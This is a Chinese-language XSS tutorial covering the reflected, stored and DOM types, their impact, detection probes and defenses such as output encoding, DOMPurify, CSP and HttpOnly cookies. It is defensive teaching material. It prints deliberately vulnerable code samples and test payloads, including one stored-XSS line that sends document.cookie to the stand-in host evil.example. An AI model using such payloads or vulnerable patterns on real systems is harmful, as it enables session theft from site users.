1. 场景:XSS 最容易藏身的业务角落
很多人对 XSS(Cross-Site Scripting,跨站脚本攻击)的第一印象,还停留在“给输入框塞一段<script>alert(1)</script>,然后页面弹了个框”这种入门演示上。但实际做安全测试和漏洞修复时,你会发现 XSS 远不止一种玩法,它藏在搜索框、评论区、前端路由、甚至导出文件里,形态千差万别。想要真正防住它,得先把“它从哪里来、长什么样”彻底搞清楚。
XSS 的本质是:用户的一段输入,在没有经过安全处理的情况下,被当作可执行的前端代码渲染到了浏览器里。因为代码运行在受害者的浏览器中、以受害者域名的权限执行,浏览器同源策略这道防火墙等于被直接绕过了。攻击者利用的输入位置不同、存储方式不同,XSS 被分成三类:反射型、存储型、DOM 型。三个类型看着名字差不多,但攻击场景和排查路径完全不同,分不清的话,后面检测和防护都没法落地。
1.1 反射型:跟随 URL 到达的“一次性攻击”
反射型 XSS 的思路,是把恶意代码放在 URL 参数里,后端拿到参数后直接拼进了响应页面,用户浏览器在解析页面时把这个代码执行了。整个过程不落库、不持久,所以叫“反射”。常见位置包括:
- 站内搜索框:用户在
/search?kw=xxx里输入的关键词回显到页面上 - 列表排序、分页参数:
?page=1&order=asc这类参数被 JS 或后端拼接后直接输出 - 错误提示、登录回显:表单校验失败时,把用户填的内容原样返回
- 401/404 等异常页面,把请求路径原样渲染
典型代码逻辑大概是这个样子:
// 一个搜索接口的简化示意 String keyword = request.getParameter("kw"); response.getWriter().println("<p>您搜索的关键词是:" + keyword + "</p>");攻击者只要构造一个 URL:https://example.com/search?kw=<img src=x onerror=alert(document.domain)>,把这个链接发给目标用户。用户点击后,页面里就会多出一个加载失败的 img 标签,触发 onerror 事件执行 JS。反射型 XSS 的利用前提是“诱导用户点击攻击者构造的链接”,所以常被伪装成短链接、二维码发到聊天群里。
反射型有一个容易误判的点:很多开发者在后端给kw加了过滤函数,比如去掉<script>标签,就以为安全了。但攻击者马上会换<img>、<svg>、<iframe>或者用属性逃逸绕过,所以单纯过滤某个标签根本堵不住。
处理反射型 XSS 的经验是:不要问“我过滤了哪些标签”,要问“我在输出位置做了什么编码”。
1.2 存储型:写进数据库的“慢性毒药”
存储型 XSS 比反射型危险得多。攻击者的 payload 被打进了服务端的数据存储里,之后任何用户访问这个页面,都会加载并执行存储的恶意代码。这意味着攻击者不需要诱导某个特定的人点击链接,只要这个页面有人访问,就自动中招。
最容易出存储型 XSS 的业务位置:
- 评论区、留言板:用户提交的内容逐条展示
- 用户昵称、个人签名、头像 URL:管理员或其他用户在后台/前台看到
- 富文本编辑内容:支持图文混排的文章发布功能
- 商品评价、订单备注:在商家端、客服端展示
- 工单系统、表单提交里的备注字段
典型代码是这样的:
// 留言保存与展示的简化示意 $comment = $_POST['comment']; $db->query("INSERT INTO comments(content) VALUES('" . $comment . "')"); // 渲染时直接输出 echo "<div class='comment'>" . $row['content'] . "</div>";攻击者提交一条评论,内容写成<img src=x onerror=fetch('//evil.example/collect?c='+document.cookie)>。之后所有打开这个留言板页面的人,Cooke 都会被发送到攻击者的服务器。更麻烦的是,这种攻击会在服务器日志里留下痕迹,但修复时不能只“删掉这条评论”,因为数据库里可能已经沉积了大量历史 payload,还得考虑是否有人已经触发过。
存储型 XSS 因为影响面大,通常被定级为高危或严重。做安全评审时,只要这类功能直接输出未编码的用户输入,几乎可以闭着眼睛报漏洞。
1.3 DOM 型:前端自己把用户“卖”了
DOM 型 XSS 和前面两种有一个本质区别:payload 根本不需要经过服务器。
它的问题出在前端 JavaScript 读取了 URL 中的可控数据,然后直接写进了 DOM。后端响应里没有任何异常内容,服务器日志也完全看不到攻击痕迹。传统 WAF、后端过滤很难拦住这一类,所以经常被忽视。
典型代码:
<script> // 从 URL 参数读取内容,直接拼进页面 const q = new URLSearchParams(location.search).get('q'); document.getElementById('result').innerHTML = '您搜索的是:' + q; </script>攻击者构造https://example.com/?q=<svg onload=alert(1)>,页面加载后innerHTML把 svg 解析成 DOM,onload 触发。这类问题在单页面应用(SPA)、前端路由、搜索联想、分享页回显里特别常见。
排查 DOM 型 XSS 有个难点:同样的前端代码,在不同浏览器、不同版本里,对innerHTML、outerHTML、insertAdjacentHTML的解析结果可能不同。某些 payload 在一个浏览器能执行,换一个浏览器可能被当作纯文本。所以测试 DOM 型 XSS,不能只在一个浏览器里验证,最好用主流内核各过一遍。
1.4 容易被忽略的高危场景
除了上面三类经典位置,我还见过不少“非典型” XSS 出现点,它们不在常规的输入输出链路上,但一旦被利用,影响往往不小。
- JSONP / callback 参数:很多老接口用
callback=xxx做跨域,后端把参数值直接拼成 JS 函数名返回。如果前端没校验函数名,攻击者构造callback=alert(1),浏览器直接执行。 - SVG 和文件上传:SVG 本质上是 XML,内部可以嵌入 script。上传头像功能如果没有严格校验文件内容,只检查扩展名,就可能把带脚本的 SVG 存到服务器上,之后通过
https://example.com/upload/evil.svg直接访问触发。 - 导出功能:Excel、CSV、PDF 导出时,如果单元格内容拼接了公式或 HTML,打开导出文件时可能执行脚本,这类叫导出型 XSS,常用于钓鱼和投递恶意文件。
- 邮件模板:邮件内容里如果拼接了用户输入,发送出去的邮件在用户邮箱客户端里可能渲染出恶意内容。
- 错误日志页面:接口异常时,把请求参数原样打到网页上方便排错的内部工具,一旦暴露到外网,就成了反射型 XSS 的窗口。
在做安全排查时,我习惯在纸上列一遍“数据从哪进来、经过哪些处理、最终在哪个上下文输出”,只要某个数据源是用户可控的、输出位置没有经过上下文感知的编码,就值得单独测一下。
2. 影响:被 XSS 打穿的业务防线
很多人一开始对 XSS 的态度是“不就弹个框嘛,又没有直接拖库”。这种想法相当危险。XSS 的最可怕之处,不在于它自己做了什么,而在于它让攻击者在受害者的浏览器里获得了“任意脚本执行”的能力。有了这个能力,攻击者能做的事就完全不受控制了。
2.1 从弹框到会话劫持
攻击者把一段 JS 注入到页面后,最直接的利用方式就是读取 Cookie、发送到自己的服务器,拿到受害者的登录态。虽然现代浏览器有 HttpOnly 属性保护 Cookie,但很多老项目、内部系统根本没有设置这个属性,document.cookie一读一个准。
就算 Cookie 受 HttpOnly 保护,XSS 还是能通过发起请求来模拟用户操作。攻击者可以在页面里注入一段 fetch 代码,自动调用“修改密码”“绑定手机号”“转账”等接口,这就和 CSRF 攻击形成了组合拳。更隐蔽一点的做法是覆盖页面里的登录表单,用户输入账号密码时,JS 先复制一份再提交给服务器,用户自己还毫无察觉。
我还处理过一个真实案例:某个后台管理系统的评论功能存在存储型 XSS,攻击者在评论区放了读取 Cookie 的脚本。管理员在后台审核评论时触发,登录态被偷走。攻击者拿到管理员会话后,直接登录后台改了业务配置。整个链路从“弹个框”升级到“后台沦陷”,只花了不到半天时间。
2.2 蠕虫与供应链传播
存储型 XSS 还有可能发展成蠕虫。攻击者在一条评论里写入脚本:页面加载时自动向评论接口提交一条内容相同的评论。后来的访客每打开一次页面,就会自动发一条新评论,新评论里又带着同样的脚本,以此类推。在社交平台、论坛这类高交互产品里,这种蠕虫能在几小时内扩散到全站用户,形成“刷屏式”灾难。历史上多个知名社交平台都因此出过事故。
另一种容易被忽略的连锁反应是前端供应链污染。现在的网站大量依赖第三方脚本:统计代码、广告 SDK、IM 组件、地图 SDK。如果某个页面存在 XSS,攻击者注入的脚本可以动态加载一个外部的 JS 文件,那个文件可能在后续被替换成键盘记录器、挖矿脚本或恶意跳转代码。单一页面的 XSS,最后可能污染整个站点所有用户的浏览体验,因为攻击者拿到 JS 执行权后,可以改写页面上后续加载的脚本内容。
2.3 业务与合规层面的损失
XSS 造成的直接技术危害之外,还有一连串业务层面的连锁反应。
用户个人信息被窃取,会直接导致账号被盗、订单信息泄露、聊天记录被翻。电商、金融、医疗类产品一旦出现这类问题,用户信任度一落千丈,客服团队会被大量“账号被盗了怎么办”的工单淹没。从安全投入的角度看,事后应急响应的人力成本、公关成本、可能的法律赔偿,往往远超提前做一次安全改造的费用。
我经常和高危漏洞被修复的技术团队确认一个问题:这个漏洞确实修了,但你们是否已经查过攻击者有没有利用它?如果攻击者已经利用过存储型 XSS 窃取了数据,问题就不只是“改代码”那么简单,而是“数据泄露事件”了。这也是为什么我一直建议,安全测试要早做、常态化做,不要等到攻击者替你做测试。
3. 检测:把 XSS 找出来的实战方法
XSS 的检测看上去简单,写几个 payload 往输入框里塞,看它弹不弹窗。但真要系统地扫一遍业务,并且不产生一堆误报、不漏掉隐蔽点,还是需要一套完整的方法。我基本都是按“手动探针 → 上下文判断 → 工具辅助 → 人工复核”这个流程来走。
3.1 手动测试的思路与常用探针
手动测试的前提是有合法的授权。做安全测试时,不要拿生产环境的真实数据乱试,先在预发环境、测试环境过一遍,确认没问题再上生产,这是基本的职业素养。
检测的第一步,是找到所有“用户可控输入、并被输出到页面”的参数点。我的做法是打开浏览器开发者工具,把页面上所有表单字段、URL 参数、接口请求参数列出来,逐个去测。对一个参数点,先用无害探针确认它是否进入输出位置,再判断输出上下文。
常用探针如下:
<!-- 基础探针 1 --> <script>alert(document.domain)</script> <!-- 基础探针 2 --> <img src=x onerror=alert(document.domain)> <!-- 基础探针 3 --> <svg onload=alert(document.domain)> <!-- 属性闭合探针 --> "><svg onload=alert(document.domain)> <!-- 单引号属性闭合探针 --> '><svg onload=alert(document.domain)> <!-- JS 上下文探针 --> ';alert(document.domain);//为什么要用document.domain?因为如果有 CSP、沙箱等防护,单纯的alert(1)可能会被浏览器直接拦掉,生成误导性的结果。而document.domain能访问到当前域名,可以确认脚本确实在目标页面上下文里执行了。
判断输出上下文是手动测试的关键。输出位置不同,payload 的闭合方式就不同:
- 输出在
<div>这里</div>的文本节点里:直接插入 HTML 标签即可 - 输出在
<input value="这里">的属性值里:需要先闭合双引号 - 输出在
<script>var x = "这里";</script>的 JS 字符串里:需要闭合引号、用分号断句 - 输出在
href、src等 URL 属性里:可能要用javascript:伪协议
测试时我会在地址栏手动构造 URL,或用抓包工具修改请求参数,然后观察页面渲染结果。注意不要只看“有没有弹窗”,还要看 payload 是否被原样输出到了 DOM 里。如果输出位置在 JS 上下文,但浏览器把<转义成了<,那说明已经做了编码,漏洞不存在。
3.2 借助浏览器开发者工具做现场分析
确认 XSS 是否可利用,不能只靠肉眼“看弹窗”,应该用开发者工具做详细分析。
- Elements 面板:查看输入内容被渲染成什么样,是成了 DOM 节点,还是变成了纯文本。如果
<img>真的成了一个 DOM 元素,说明标记被解析了。 - Network 面板:查看页面加载时的所有请求。如果注入的脚本访问了外部地址,Network 面板会有记录。
- Console 面板:查看 JS 运行时的报错。如果注入点位于 JS 上下文,语法错误会直接显示在控制台;CSP 拦截脚本也会在这里有明确提示。
- Sources 面板:给可疑脚本设置断点,单步执行,看数据是怎么流动的,推荐在定位 DOM 型 XSS 时使用。
举一个我排查过的例子:某单页应用的搜索联想功能,用户输入关键词后,前端把关键词用innerHTML写进了下拉列表。我在输入框里填入<b>xss</b>,发现列表里确实出现了加粗的文字,说明标签被执行。再把输入改成<img src=x onerror=alert(document.domain)>,页面弹窗。通过 Elements 面板,我还能看到这个 img 是何时被插入的、父节点是什么,从而定位到具体是哪行前端代码的问题。
3.3 自动化扫描与代码审计
手动测效率低,自动化扫描可以帮我们快速铺开覆盖面。扫描器的基本思路是:爬取网站所有页面,收集所有参数点,把准备好的 payload 注入进去,然后比对响应内容是否出现了 payload 的特征。市面上有不少开源和商业的 Web 漏洞扫描器,但扫描结果只能作为“疑似清单”,最终确认漏洞是否存在,必须人工复核。
代码审计则是另一种路径,适合在开发阶段发现问题。重点盯这些“危险操作”:
innerHTML、outerHTML、insertAdjacentHTMLdocument.write、document.writelneval、new Function、setTimeout的第一个参数是字符串- 后端拼接 HTML 返回接口、模板引擎关闭了自动转义
location、location.hash、location.search直接拼进 DOMv-html(Vue)、dangerouslySetInnerHTML(React)这类跳过框架默认转义的接口
我在代码审计时有个习惯:先搜这些 API 的调用位置,再追踪其数据来源。如果数据来源是用户可控的,比如 URL 参数、接口请求体、数据库字段,就立刻标记为可疑点。
3.4 一个完整检测流程的示例
拿一个典型的搜索功能举例,完整走一遍:
- 定位参数点:访问
/search?kw=test,页面显示“您搜索的关键词是:test”。 - 注入基础探针:将
kw改成<img src=x onerror=alert(document.domain)>,刷新页面。 - 观察输出位置:用 Elements 面板查看这段内容被渲染到了哪里。如果它出现在
<p>文本节点里,并且确实生成了一个 img 元素,说明标签解析成功。 - 尝试闭合逃逸:如果页面把
<和>转义了,改成"><svg onload=alert(document.domain)>再次测试。 - 验证可执行性:弹窗出现后,换一个探针确认网络请求可以发出,比如注入
<script>fetch('/test-scan?xss=1')</script>,然后看 Network 面板是否出现对应请求。 - 记录与修复建议:详细写下漏洞位置、触发方式、受影响参数,并明确建议在输出位置做编码。
整个过程看起来繁琐,但经验值上来之后,一个可疑点基本几分钟就能判断清楚。关键在于不要图省事,跳过了上下文判断的环节。
4. 防护:一套从进到出的治理方案
检测是打地鼠,打完一个冒一个;防护才是真正把问题收口。XSS 防护的核心可以浓缩成一句话:所有进入动态页面的用户输入,都必须经过输出位置的上下文编码;所有进入富文本区域的用户输入,都必须经过白名单过滤。围绕这句话,要落地的方案分四个层面。
4.1 输出编码:第一道且最关键的一道防线
输出编码的原则是“根据渲染上下文选择对应的编码方式”。同一个字符,在 HTML 文本、属性值、脚本字符串、URL 里需要的编码方式完全不同。用错了,等于没编码。
| 渲染上下文 | 编码原则 | 示例 |
|---|---|---|
| HTML 文本节点 | 将& < >转为 HTML 实体 | & < > |
| HTML 属性值 | 额外编码引号"' | " ' |
| JavaScript 字符串 | 使用反斜杠转义或 Unicode 转义 | \x3c\u003c |
| URL 参数 | 使用 URL 编码 | %3C%3E |
后端开发时,不同语言有对应的安全编码函数。Java 里可以封装一个基于上下文选择编码策略的工具类;PHP 里htmlspecialchars配合ENT_QUOTES是处理 HTML 上下文的基础做法;Node 前后端分离项目,接口层返回结构化数据即可,HTML 渲染编码交给前端框架,反而比较容易控制。
这里要提醒几个常见误区:
- 只做输入过滤,不做输出编码。输入过滤能挡住一部分已知 payload,但永远挡不住未知变体,所有把过滤当成唯一防线的项目,最后都被绕过。
- 编码函数用错上下文。比如在属性值里只编码了尖括号,忘了编码引号,攻击者照样能通过闭合属性逃逸。
- 对富文本内容做整体转义。这样会把正常的加粗、链接、图片全变成纯文本,业务上不可接受,富文本必须走白名单过滤方案。
现代前端框架(Vue、React)默认对插值表达式做转义,杜绝了大部分直接拼接 HTML 的问题。但v-html、dangerouslySetInnerHTML这类接口会跳过默认转义,使用时必须保证传入的内容已经过白名单过滤。很多前端团队的规范里会直接禁止这两个 API 的使用,除非安全团队单独评审通过。
4.2 输入校验与富文本白名单
输出编码解决的是“拼好的字符串安全渲染”,输入校验解决的是“脏数据能不能进来”。
输入侧的核心策略是白名单校验,而不是黑名单过滤。对每个字段,提前定义它合法接受的字符集、长度、格式。比如手机号只允许数字和+-(),用户名只允许字母数字下划线,不允许任何 HTML 相关字符。这类字段用正则和白名单校验就能完全排除 XSS 风险。
富文本字段是例外,因为它需要支持 HTML 标签,不能一刀切编码。富文本过滤的标准做法是白名单标签+白名单属性。使用成熟的富文本过滤库,比如前端用 DOMPurify 这类方案,配置允许的标签和属性:
const clean = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote', 'img'], ALLOWED_ATTR: ['href', 'title', 'alt', 'src'] });富文本过滤有个特别容易被忽略的点:<a>标签的href属性。攻击者可以把href写成javascript:alert(1),点击链接时触发脚本。所以除了过滤标签和属性,还必须单独校验 URL 协议,只允许http:、https:、mailto:这类安全协议。DOMPurify 默认配置已经处理了这个问题,但如果团队自己写了正则过滤方案,一定要单独测这个点。
4.3 浏览器端的三道保险
后端编码做好了,仍然建议叠加浏览器端的三项基础防护,形成纵深防御。
第一道:HttpOnly Cookie。在设置会话 Cookie 时加上 HttpOnly 属性,JavaScript 就不能通过document.cookie读取到它。这不能阻止 XSS 本身,但能大幅降低会话劫持的风险。Java 里设置方式很直观:
Cookie sessionCookie = new Cookie("sessionId", sessionId); sessionCookie.setHttpOnly(true); sessionCookie.setSecure(true); sessionCookie.setPath("/"); response.addCookie(sessionCookie);第二道:CSP(Content Security Policy)。CSP 通过响应头告诉浏览器:页面只能加载哪些来源的脚本。就算攻击者成功往页面里注入了<script>标签,CSP 也能直接拦下来,脚本根本不会执行。一个基础配置示例:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'这个配置的含义是:默认加载同源资源,脚本只允许加载同源文件,禁止 object/embed/plugin,禁止修改 base URI。如果线上有些场景必须用内联脚本,可以为合法脚本生成一次性 nonce 令牌,在响应头里放行'nonce-随机字符串',并给每个合法 script 标签加上同样的 nonce 属性。CSP 配置不当会让线上功能出问题,所以上线前一定要在预发环境完整回归一遍。
第三道:X-XSS-Protection 的安全提示。老一代浏览器曾内置 XSS 过滤机制,通过X-XSS-Protection: 1; mode=block开启。但现代浏览器已经陆续移除或废弃了这项机制,因为它本身可能被攻击者用来屏蔽页面内容,造成另一种安全问题。现在更建议把精力放在 CSP 和输出编码上,不要把这个响应头当成主要防线。
4.4 从流程上把 XSS 挡在发布前
技术方案之外,XSS 治理最后拼的是流程规范。
- 需求评审阶段:凡是涉及用户输入后展示到页面的功能,开发、测试、安全三方要确认输出编码方案。
- 开发规范阶段:在团队代码规范里明确列出危险 API 清单,新代码不能出现
innerHTML拼接用户输入这类写法,统一封装安全的渲染工具。 - 自动化检测阶段:把静态代码扫描接到 CI 流程里,每次提交代码自动跑一遍,发现高危 API 调用就卡住合入。
- 上线前安全测试阶段:准备一份 XSS 检查清单,所有新增页面、修改过的接口,至少手动跑一遍常见探针。
我见过太多“上线后补漏洞”的案例,修复成本是开发阶段的几十倍。把上面这些环节固化到流程里,XSS 出现的频率会成批量地降下来。
5. 常见问题与踩坑实录
5.1 典型问题速查表
做安全测试和修复支持时,我经常遇到一些高度重复的问题,整理成速查表,方便直接对照排查。
| 症状 | 可能原因 | 排查与修复方向 |
|---|---|---|
输入<script>alert(1)</script>没弹窗,但有数据显示 | 浏览器或前端框架转义了尖括号 | 检查输出位置,换<img src=x onerror=...>探针再测 |
| 尖括号被转义了,但双引号没处理 | 输出上下文是属性值,缺了引号编码 | 在属性值上下文补"编码 |
后端过滤了<script>,但换<img>又弹窗 | 黑名单过滤思路失效 | 改成输出上下文编码,不能依赖黑名单 |
页面能弹alert(1),但发不出自定义请求 | CSP 拦了外链脚本 | 用 Network 面板确认请求是否被阻塞,按需调整 CSP |
| 服务端日志里完全看不到漏洞请求 | DOM 型 XSS,payload 没到后端 | 排查前端location、innerHTML相关代码 |
| 富文本内容被过滤后大量丢标签 | 白名单配置过窄 | 按业务实际需求补充合法标签,同时保留白名单策略 |
| CSP 配置后,页面原本的内联脚本全部失效 | 内联脚本被 CSP 默认拦截 | 把内联脚本外置,或使用 nonce 放行合法脚本 |
5.2 我在实际项目里踩过的坑
第一个坑是“只在前端过滤”。曾经有一个团队在登录页面做了前端输入校验,把<script>字符直接挡在输入框外,大家觉得“这样安全了”。结果攻击者绕过页面,用抓包工具直接构造请求,把 payload 发到后端接口,前端过滤形同虚设。前端过滤的作用仅仅是优化用户体验,真正的安全边界必须建立在服务端。
第二个坑是“编码工具函数封装错了方向”。某个项目封装了一个escapeHtml(),但它只处理了& < >三个字符,没有处理双引号和单引号。大家在 HTML 文本节点里用没问题,一放到属性值里就出洞。后来我们统一改成了“按上下文选择编码函数”,并给每个函数写清了适用场景注释,才彻底解决这个问题。
第三个坑是 CSP 配置得太严格,上线后埋点和第三方客服组件全部失效。预发环境测试时没覆盖到这些异步加载的第三方脚本,生产一开就出现用户反馈。做 CSP 治理最好分两步走:先开Content-Security-Policy-Report-Only观察一段时间的拦截日志,确认没有误伤后,再切换成强制执行模式。
第四个坑发生在前后端分离的项目里。后端接口返回 HTML 片段,前端直接v-html渲染,双方都以为“编码应该对面负责”,结果谁都没做。在前后端分离架构下,必须明确一条原则:接口返回纯文本时,由后端负责编码;接口返回 HTML 片段时,由前端负责白名单过滤并标记为高风险接口,两类情况都必须在代码评审阶段确认。
5.3 一次整改的复盘经验
去年帮某业务系统做过一次 XSS 专项整改,核心工作是梳理所有“用户输入 → 动态渲染”链路。一开始人工梳理花了两天,列出来 40 多个风险点,其中有 10 多个是开发者根本没想到的隐蔽入口,比如错误提示里的字段回显、后端拼接 SMS 模板时的内容展示。后来我们把输出编码封装成统一组件,约束所有入口必须走这个组件,整改完复测,风险点清零。这个过程让我深刻体会到:单点修复解决不了系统性问题,必须把“安全编码规范”固化到开发流程里,让每个人的每一次输出都做对,XSS 才可能真正根绝。
安全这块的工作,往往短期看不到业绩,但一旦出问题就是大事。每次在最费时间的“找漏洞”环节省掉的功夫,迟早会以更大的代价还回来。如果你的项目还没做过一轮系统的 XSS 排查,我的建议是别等了,现在就开始。先从自己的核心业务链路里挑出输入点、输出点、边界点,按上面说的探针和规范过一遍,能发现的漏洞基本都是赚到的。